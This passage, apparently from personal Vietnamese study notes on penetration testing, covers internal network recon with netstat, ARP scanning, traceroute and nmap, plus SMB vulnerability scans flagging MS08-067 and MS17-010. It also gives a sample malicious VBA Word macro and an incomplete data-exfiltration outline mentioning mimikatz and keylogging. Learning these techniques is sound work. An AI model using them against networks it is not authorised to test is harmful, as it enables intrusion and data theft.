shin24-Legion-5-1:53734 4c2-51-25-208-227:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:60432 hkg07141-in-f10.1:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:43322 hkg12sf9-in-f4.1e:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:38638 hkg07sb2-in-f14.1:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:45602 10.0.67.10:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:35220 cache.google.com:https TIME_WAIT tcp 0 0 shin24-Legion-5-1:34226 52.124.32.112:https ESTABLISHED tcp 0 0 shin24-Legion-5-1:43336 hkg12sf9-in-f4.1e:https ESTABLISHED ``` - Như ví dụ ở trên, attacker sử dụng kết hợp option `-t` để xem các TCP connections trên host hiện tại, attacker có thể thử connect đến các port của các host thu thập được bằng cách công cụ như netcat, telnet nhằm kiểm tra xem có service nào có thể truy cập mà không cần authentication hay không chẳng hạn - netstat có sẵn trên cả windows, macos và linux - **Real Case**: năm 2017 thì WannaCry ransomware đã dựa vào lỗ hổng trong giao thức SMB [một giao thức chia sẽ file, printers] để tự nhân bản và lây lãn giữa các máy tính kết nối SMB với nhau. Nếu ta hack vào được một host, mở netstat lên thấy nó đang kết nối smb với một host khác và version của smb đó bị lỗi thì ta có thể tìm mã khai thác và quất nó luôn ##### Check for running processes - Một trong những việc mà attacker có thể làm tiếp theo đó là kiểm tra các tiến trình đang chạy, cũng giống như các service chạy trên các port thì các tiến trình sẽ chạy với một process id. - Trong linux thì ta có thể truy cập vào tài nguyên của tiến trình bằng cách truy cập vào `/proc/` ![][//i.imgur.com/OisuqSI.png] - Khi truy cập vào `/proc/self` thì ta đang truy cập vào tài nguyên của process hiện tại, nếu đang truy cập vào bằng terminal và gõ lệnh `ls /proc/self` thì đây sẽ là tài nguyên của tiến trình của chính lệnh `ls` - Với các running processes, attacker có thể sử dụng một số kiểu tấn công để nhắm vào các tiến trình đang chạy trên host: + Process Injection + Parrent Process ID Spoofing + Process Hijacking + Privileges Escalation [TODO: Giải Thích mấy trên] - Ngoài ra việc quan sát ệc quan sát các tiến trình đang chạy cũng cung cấp cho user nhiều thông tin hơn về môi trường của host hiện tại - Ví dụ như khi list ra các tiến trình đang chạy, nếu tìm thấy tiến trình `CExecSvc.exe` đang chạy thì nghĩa là môi trường mà attacker đang tương tác ở bên trong một docker container ![][//i.imgur.com/JLxLloC.png] ##### Check for installed app - Giống như khi ta đi hack web, ta lợi dụng lỗ hổng của các CMS, plugin, themes, ... để tấn công vào hệ thống thì các installed app trên host của victim cũng chính là một attack surface - Một ví dụ cho điều này, đó là việc lợi dụng các macro-enabled Microsoft Office Word document để phát tán mã độc. Macro là các đoạn script nhỏ [có thể là VBA] được dùng trong các Word document để tự động hóa một số tác vụ, điều này bị lợi dụng bởi kẻ xấu nhằm chèn các script độc hại nhằm thực thi mã từ xa hoặc cài đặt phần mềm gián điệp. Sau đây là một đoạn VBA độc hại có thể được attacker lợi dụng chèn vào Word document: ```vba Sub RunCommand[] Dim oShell As Object Set oShell = CreateObject["WScript.Shell"] ' Run a command in a Command Prompt window oShell.Run "cmd.exe /c dir c:\" End Sub ``` - Vì Microsoft đã khẳng định đây là một **tính năng**, vì vậy một trong những giải pháp hiệu quả nhất để đối phó đó là nâng cao nhận thức của người dùng - Đứng về vị trí của bên tấn công, attacker có thể lợi dụng các shared resource để chèn macro malware [mã độc sử dụng macro] vào và tranfer nó đến các hệ thống khác hoặc lừa user tải về và thực thi - Một ví dụ khác đó là vào năm 2020, một lỗ hổng của trình quản lý gói `apt` trên linux đã tạo cơ hội cho attacker lợi dụng chạy các câu lệnh OS command với quyền root - Giải pháp để chống lại các cuộc tấn công nhắm vào installed apps nói chung là cập nhật các ứng dụng, chương trình có sẵn thường xuyên #### Mapping network ##### Determining live hosts - Có nhiều cách để xác định live hosts trong một mạng. Một trong số đó là kỹ thuật **ping sweep** đã được đề cập trong phần **tunneling, port forwarding** - Ngoài ra ta còn một số kỹ thuật khác như **ARP Scanning**, **SNMP Scanning**, **DHCP Scanning** ###### Ping Sweep [Đã nói ở phần tunneling] ###### ARP Scanning - ARP [Address Resolution Protocol] là giao thức giúp phân giải các địa chỉ IPv4 dài 32 bit sang địa chỉ MAC dài 48 bit. - Bất cứ khi nào 2 máy trong mạng muốn giao tiếp với nhau, chúng sẽ cần biết địa chỉ MAC của nhau, vì thế đầu tiên máy nguồn sẽ gửi một ARP broardcast đến toàn mạng với **target ip** sẽ là IP của máy cần tìm MAC address - Nếu một máy nhận được broardcast thấy IP của mình trùng với IP cần tìm trong gói ARP, nó phản hồi lại máy nguồn cùng với địa chỉ MAC của mình ![][//i.imgur.com/Z96jgpp.png] - Để giảm thiểu số gói broadcast được gửi đi, một giải pháp được tạo ra đó là sử dụng **ARP Cache**, đây là một bảng có ở mỗi máy trong mạng chứa các entry gồm các địa chỉ MAC cùng với IP tương ứng đã được lưu trước đó. - Trước khi gửi broardcast thì máy nguồn sẽ nhìn vào cache table của bản thân trước, nếu không có thì mới gửi broadcast để tìm địa chỉ MAC, nếu một máy bất kì nhận được broadcast nó cũng sẽ kiểm tra ARP cache của bản thân để xem trước đó có từng lưu entry của IP này không, nếu có nó sẽ gửi trả về MAC của IP đó. Máy nguồn sau khi nhận được MAC của IP tương ứng cũng sẽ tiến hành lưu lại vào ARP cache cho lần sau - Lợi dụng giao thức này, attacker có thể gửi các ARP broadcast với một dãy các IP, ví dụ `192.168.0.1/24` [scan các IP từ 192.168.0.1 -> 192.168.0.254] để xác định các host trong mạng. Để thực hiện kỹ thuật này ta có thể dùng công cụ `arp-scan` ``` arp-scan 192.168.0.1/24 ``` - ARP còn bị lợi dụng bởi kiểu tấn công **arp spoofing**, khi mà máy của kẻ tấn công gửi về máy nguồn địa chỉ MAC của chính kẻ tấn công, máy nguồn lúc này sẽ tin rằng địa chỉ IP nó đang tìm kiếm có địa chỉ MAC mà kẻ tấn công gửi về, dẫn đến máy nguồn sẽ thực hiện giao tiếp với máy kẻ tấn công và gửi đến các thông tin quan trọng như credentials, ... - Một kiểu tấn công khác đó là ARP poisoning [PHẦN NÀY NÓI TRONG MITM] ###### Traceroute [tracepath] - traceroute là một công cụ cli giúp chẩn đoán mạng dựa vào việc xác định xem từ host nguồn đến host đích thì packet phải đi qua bao nhiêu node mạng - Các node mạng có thể là các device như router, switch, modem, gateway, firewall, ... - Traceroute thường được dùng bởi các network administrator để chẩn đoán sự cố mạng - Ngoài ra traceroute cũng có thể bị lợi dụng bởi attacker để thu thập thêm nhiều thông tin về mạng nội bộ. Bằng cách sử dụ traceroute, attacker có thể xác định thêm nhiều live hosts khác trong mạng, cũng như xác định xem đường truyền từ host hiện tại đến host đích có đi qua firewall nào không, các rule của firewall đó là gì ``` ┌─[shin24@shin24-Legion-5-15ACH6H]─[~/] └──╼ $tracepath 192.168.0.1 1?: [LOCALHOST] pmtu 1500 1: no reply ``` - Cách traceroute hoạt động: + Đầu tiên traceroute sẽ gửi một packet với TTL = 1 đến host đích, packet lúc này được gửi và chạm đến 1 node nào đó [cho là router] và TTL tại đây sẽ được router giảm đi 1 [ lúc này TTL = 0] + Router thấy TTL = 0 rồi nên sẽ hủy đi packet này [node mạng nào mà thấy TTL của một packet bất kì = 0 đều sẽ hủy packet không truyền tiếp nữa] và gửi trả về một gói ICMP Time Exceeded [nếu còn nhớ thì ICMP này thuộc type 11] + Host nguồn nhận được gói ICMP sẽ lấy cái source IP trong gói ICMP trả về đó và nhận biết đó là 1 node mạng [hay 1 hop] + Host nguồn lúc này sẽ tiếp tục gửi một packet khác với TTL = TTL cũ + 1 [lần này là 2] rồi gửi đi tiếp + Packet đi qua con router cũ và TTL bị trừ đi 1 rồi đến node mạng thứ 2 [lần này cho là 1 con firewall], firewall sẽ làm y hệt như con router khi nãy và gửi gói ICMP Time Exceeded về - Attacker lúc này có thể lợi dụng đoạn packet được gửi tới firewall, vì thường nếu firewall chặn một loại packet nào đó thì nó sẽ chặn luôn trước cả khi xử lý cái TTL => dẫn đến không có ICMP Time Exceeded nào được gửi về, packet cũng không chạm tới host đích. - Dựa trên behavior này attacker sẽ gửi các packet khác nhau đến firewall nhằm thu thập thông tin về các ruleset của firewall để từ đó sử dụng các kỹ thuật tunnel nhằm bypass qua nó chẳng hạn ![][//i.imgur.com/gzI9g1i.png] - Kết quả từ traceroute cũng không phải chính xác 100%, nếu muốn xác nhận firewall thì attacker sẽ cần phải analyze traffic được đi và về [nếu một packet đột nhiên bị drop thì nó sẽ thể hiện trên các công cụ như wireshark] ###### Mass scanning - PingSweep, ARP Scanning là các kỹ thuật giúp attacker tiết kiệm thời gian khi cần thu thập thông tin về các hosts tồn tại trong mạng, một cách khác cần nhiều thời gian và traffic hơn đó chính là scan tất cả các port của một dãy IP. - Thay vì scan tất cả 65535 port, attacker thường sẽ scan top 1000 port của các service thường hay được sử dụng nhất - Bằng cách này attacker có thể đảm bảo thu thập được nhiều thông tin về các host nhất so với các kỹ thuật scanning trước, tuy nhiên có vài nhược điểm: + Mất thời gian + Gửi quá nhiều traffic, dễ bị phát hiện - Với kỹ thuật này thì công cụ nmap là một trong những công cụ đắc lực nhất của các attacker: ``` nmap -T4 --top-ports 1000 192.168.0.1/24 ``` - Ta có thể sử dụng udp scan thay vì tcp nhằm tiết kiệm thời gian hơn và giảm số packet truyền đi ``` sudo nmap -T4 -sU --top-ports 1000 192.168.0.1/24 ``` - Có một cơ chế gọi là port knocking, đây là cơ chế bảo vệ khiến cho một host hay một service trở nên "vô hình" cho đến khi một chuỗi các sự kiện nhất định xảy ra - Cụ thể cách port knocking hoạt động là một firewall sẽ đứng chặn trước [các] service, sẽ không máy nào truy cập được vào service đang chạy ở port này trừ khi một chuỗi các packet theo thứ tự đúng [sequence] được gửi tới. - Sau khi sequence được firewall kiểm tra đúng thì nó sẽ cho phép kết nối được thiết lập đến service đằng sau nó - Một sequence có thể là ví dụ như firewall sẽ yêu cầu ta gửi packet đến port 123, rồi sau đó đến 456, rồi tới 9999, nếu ta làm theo đúng sequence đó thì firewall mới cho ta connect tới serice/device đó - Vậy nếu một số host triển khai port knocking trong mạng thì sao? - Trường hợp này các kỹ thuật recon trước đó của ta sẽ không tìm ra các host này, ta có thể dựa trên netstat để xem có connection nào đang mở đến một host mà không có trong số các host ta thu thập được cùng dãy hay không, khả năng cao nó đã implement port knocking - Tùy vào cách config mà port knocking sẽ chỉ cho phép 1 kết nối duy nhất hoặc nhiều kết nối từ máy đã hit đúng sequence, vì thế ta có thể thử làm một kết nối đến host đó xem sao - Mỗi lần hack được vào thêm một host, attacker có thể sẽ lại kiểm tra các kết nối thông qua `netstat` hoặc thực hiện các kỹ thuật scanning một lần nữa ##### Checking for running services on others hosts - Sau khi vào được mạng nội bộ thông qua các kỹ thuật pivot, một attacker tham lam sẽ muốn tìm ra thêm nhiều attack surface để tiếp tục lợi dụng nhằm đạt được mục đích. - Bên cạnh host hiện tại, các host khác trong mạng với các service chạy trên đó cũng là các attack surface mà attacker có thể lợi dụng để tấn công sâu hơn vào mạng - Một trong những công cụ đắc lực cho công việc này đó là `nmap` ``` nmap -sV -A -p- -T4 192.168.0.124 ``` - Option `-A` [Agressive mode ] của nmap sẽ tương đương với việc sử dụng các options: + **OS detection [-O]:** chẩn đoán thông tin về phiên bản hệ điều hành sử dụng thông qua các packet trả về + **Version detection [-sV]:** nmap sẽ cố gắng sử dụng các pattern có sẵn để nhận diện các packet từ service đang scan nhằm xác định version của service đó. Từ đây attacker có thể thử tấn công vào service này thông qua các lỗ hổng đã biết hoặc zero-day dựa vào version này. Một fact đó là ta có thể xem được các pattern mà nmap dùng để nhận diện version của các service trong file `/usr/share/nmap/nmap-service-probes` ![][//i.imgur.com/gO2bTUW.png] + **script scanning [-sC]**: sử dụng các common nse script để scan các service nhằm thu thập thông tin config hoặc kiểm tra lỗ hổng + **traceroute [--traceroute]**: kiểm tra xem từ host nguồn đến host đích sẽ đi qua các node mạng nào [gateway, router, ...] - Sau khi tìm ra các service đang chạy trên host đích, ta có thể sử dụng các nse được tích hợp trong nmap để thu thập thông tin config từ service cũng như kiểm tra các lỗi bảo mật đã biết - Ví dụ ta biết host đích đang chạy SMB trên port 445 thì ta có thể thử dùng các script SMB của nmap: ``` ┌─[shin24@shin24-Legion-5-15ACH6H]─[~/Downloads] └──╼ $ls /usr/share/nmap/scripts/ | grep smb smb2-capabilities.nse smb2-security-mode.nse smb2-time.nse smb2-vuln-uptime.nse smb-brute.nse smb-double-pulsar-backdoor.nse smb-enum-domains.nse smb-enum-groups.nse smb-enum-processes.nse smb-enum-services.nse smb-enum-sessions.nse smb-enum-shares.nse smb-enum-users.nse smb-flood.nse smb-ls.nse smb-mbenum.nse smb-os-discovery.nse smb-print-text.nse smb-protocols.nse smb-psexec.nse smb-security-mode.nse smb-server-stats.nse smb-system-info.nse smb-vuln-conficker.nse smb-vuln-cve2009-3103.nse smb-vuln-cve-2017-7494.nse smb-vuln-ms06-025.nse smb-vuln-ms07-029.nse smb-vuln-ms08-067.nse smb-vuln-ms10-054.nse smb-vuln-ms10-061.nse smb-vuln-ms17-010.nse smb-vuln-regsvc-dos.nse smb-vuln-webexec.nse smb-webexec-exploit.nse ``` - Tên của các file trên cũng là tên của các nse script trong nmap ``` ┌─[shin24@shin24-Legion-5-15ACH6H]─[~/Downloads] └──╼ $nmap --script smb-vuln-* -p 445 192.168.0.124 Starting Nmap 7.93 [ //nmap.org ] at 2023-02-09 15:33 +07 Nmap scan report for 192.168.0.124 Host is up [0.018s latency]. PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | smb-vuln-ms08-067: | VULNERABLE: | Microsoft Windows system vulnerable to remote code execution [MS08-067] | State: VULNERABLE | IDs: CVE:CVE-2008-4250 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary | code via a crafted RPC request that triggers the overflow during path canonicalization. | | Disclosure date: 2008-10-23 | References: | //cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 |_ //technet.microsoft.com/en-us/library/security/ms08-067.aspx |_smb-vuln-ms10-054: false |_smb-vuln-ms10-061: ERROR: Script execution failed [use -d to debug] | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers [ms17-010] | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers [ms17-010]. | | Disclosure date: 2017-03-14 | References: | //cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 | //blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ |_ //technet.microsoft.com/en-us/library/security/ms17-010.aspx Nmap done: 1 IP address [1 host up] scanned in 5.49 seconds ``` - Như trong kết quả trên nmap đã scan ra 2 lỗ hổng trong SMB đó là **ms17-010** và **ms08-067** - Bên cạnh đó thì đôi khi, các SMB sẽ được config để chấp nhận **null authentication** và ta có thể login vào mà không cần credentials nào. - Để kiểm tra ta có thể dùng các script như `smbmap`, `smbclient` - Tương tự với các service khác, luôn thử kết nối trực tiếp hoặc xem service đó có thể được config để chấp nhận việc truy cập mà không cần credentials không [hoặc là default credentials] - Như ftp, ftp có một config đó là anonymous login, khiến cho attacker có thể sử dụng user `anonymous` để login mà không cần mật khẩu, dẫn đến attacker đọc được các file được chia sẽ qua ftp ##### Check for shared resources - Thường trong các mạng nội bộ, các host sẽ có nhu cầu chia sẽ các file, printers, ... với nhau - Ví dụ như một công ty thì các phòng ban thường sẽ chia sẽ file trong mạng nội bộ thay vì gửi mail chẳng hạn, họ cũng sẽ có nhu cầu chia sẽ máy in [thông qua SMB] để các phòng ban có thể cùng sử dụng một máy in chung - Đây đều là những thông tin giá trị, thông qua các shared resources attacker có thể lấy được rất nhiều các thông tin mật quan trọng của tổ chức, công ty đó - Hoặc attacker có thể chèn vào các mã độc và chia sẽ nó dưới dạng các tài liệu [như việc sử dụng macro trong word document] để đánh lừa user chạy các đoạn mã độc hại nhằm tấn công lây lan sang các host khác - Các shared resources cũng là các kênh để attacker transfer các công cụ, mã độc qua các host khác nhau nhằm trích xuất thông tin [mimikatz], scan các phần mạng [nmap], leo thang đặc quyền [dirtycow], ... - Trong windows ta có một loại đường dẫn gọi là **UNC path**, giả sử một máy có ip 10.0.8.14 có share một file secret.docx trong thư mục secrets thì từ một máy khác ta có thể sử dụng đường dẫn `\\10.0.8.14\\secrets\\secrets.docx` - Attacker cũng có thể lợi dụng UNC path nhằm chia sẽ một mã khai thác, một công cụ tấn công nào đó và truy cập vào nó từ một host khác thông qua UNC path nhằm transfer nó qua các host khác nhau - Để ngăn chặn các cuộc tấn công như thế này có nhiều giải pháp như: + encrypt các file được chia sẽ + cẩn thận với bất cứ file nào tải về từ các shared resources, scan malware first + sử dụng authentication + ... [PHẦN NÀY TA CÓ THỂ NÓI THÊM VỀ CÁI ANONYMOUS LOGIN CỦA FTP HOẶC NULL SESSION CỦA SMB] #### Conclude the surface scanning - Tóm lại ở phần này ta đã đi qua các kỹ thuật mà attacker có thể sử dụng để do thám mạng nội bộ - Mỗi khi chiếm được thêm một host mới, attacker sẽ tiếp tục lặp lại các kỹ thuật trong phần **Testing current host** để tiếp tục tìm cơ hội tấn công vào các host khác hoặc leo thang đặc quyền nhằm tiếp cận vào các thông tin giá trị ### Data Exfiltration - Đây gần như là mục đích của mọi cuộc tấn công APT, khi attacker xâm nhập vào một hệ thống, hắn luôn muốn lấy đi thứ gì đó giá trị [thường là thông tin về các hợp đồng, báo cáo, tài liệu mật] nhằm bán lại, tống tiền, ... - Vấn đề là hắn cần xác định xem thứ mà hắn muốn lấy nằm ở đâu và làm sao để vận chuyển nó ra bên ngoài - Ta sẽ tạm chia thành 2 vấn đề là Extracting và Transfering #### Extracting ##### Thông tin thường lưu ở đâu - Tùy vào loại thông tin mà nó sẽ được lưu ở các vị trí khác nhau, ví dụ như thông tin nhân viên thì có thể được lưu trong một máy chủ cơ sở dữ liệu, trong một file excel ở các máy trong phòng ban nhân sự, ... - Các thông tin giá trị thường nằm ở: + Email + Database + Files + Cloud + ... ##### mimikatz - Một trong các kỹ thuật đã được nhắc đến trong phần password attack đó là trích xuất credentials từ máy victim thông qua việc debug memory của tiến trình `lsass.exe` - ##### From logs ##### Malware - audio capture - keylogging - screen capture - clipboard ##### From Cloud ##### From Email ##### From local files/shared resources #### Transfering ##### Tunneling ##### Size limit ##### Encryption ##### Schedualed transfer ##### Transfer to cloud ##### Gom data vào một vị trí hoặc đặt tên theo 1 dấu hiệu nhất định để download 1 thể ## Một số machines để practice: - Responder - Legacy - Granny - Helpline - Opensource -

Chủ Đề